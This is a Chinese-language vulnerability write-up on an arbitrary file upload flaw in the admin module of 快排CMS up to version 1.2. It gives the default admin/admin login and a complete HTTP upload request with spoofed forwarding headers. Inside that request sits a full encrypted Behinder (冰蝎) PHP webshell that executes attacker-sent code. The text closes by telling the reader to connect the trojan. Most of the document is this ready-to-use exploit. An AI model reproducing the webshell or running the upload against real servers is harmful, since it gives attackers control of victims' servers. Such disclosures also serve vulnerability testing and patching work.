快排CMS 任意文件上传漏洞

漏洞描述

快排CMS 后台管理模块存在任意文件上传漏洞，攻击者通过漏洞可以控制服务器

漏洞影响

Note

快排 CMS <= 1.2

环境搭建

https://gitee.com/qingzhanwang/kpcms

漏洞复现

登录页面如下, 默认账号密码为 admin/admin

http://xxx.xxx.xxx.xxx/admin.php/index/login.html

源码中没有对上传文件的后缀检测

thinkphp/library/think/File.php

任意找一处文件上传点

上传抓包获取文件地址

POST /admin.php/index/upload.html?dir=image HTTP/1.1
Host: 192.168.1.108:88
Content-Length: 935
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://192.168.1.108:88
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryYIt9WaQZiDMrwAVm
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/avif,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/webp,http://peiqi-wiki-poc.oss-cn-beijing.aliyuncs.com/vuln/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://192.168.1.108:88/admin.php/config/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6
Cookie: admin_id=IphHb2Z%2FRG9gIXGA7HpPzQ%3D%3D; menu_show=0; menu_id=menu_22; url=%2Fadmin.php%2Fconfig%2Findex.html
x-forwarded-for: 127.0.0.1
x-originating-ip: 127.0.0.1
x-remote-ip: 127.0.0.1
x-remote-addr: 127.0.0.1
Connection: close

------WebKitFormBoundaryYIt9WaQZiDMrwAVm
Content-Disposition: form-data; name="localUrl"

C:\fakepath\shell.php
------WebKitFormBoundaryYIt9WaQZiDMrwAVm
Content-Disposition: form-data; name="imgFile"; filename="shell.php"
Content-Type: application/octet-stream

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b";
    $_SESSION['k']=$key;
    $post=file_get_contents("php://input");
    if(!extension_loaded('openssl'))
    {
        $t="base64_"."decode";
        $post=$t($post."");

        for($i=0;$i<strlen($post);$i++) {
                 $post[$i] = $post[$i]^$key[$i+1&15]; 
                }
    }
    else
    {
        $post=openssl_decrypt($post, "AES128", $key);
    }
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
    class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

------WebKitFormBoundaryYIt9WaQZiDMrwAVm--

连接冰蝎木马即可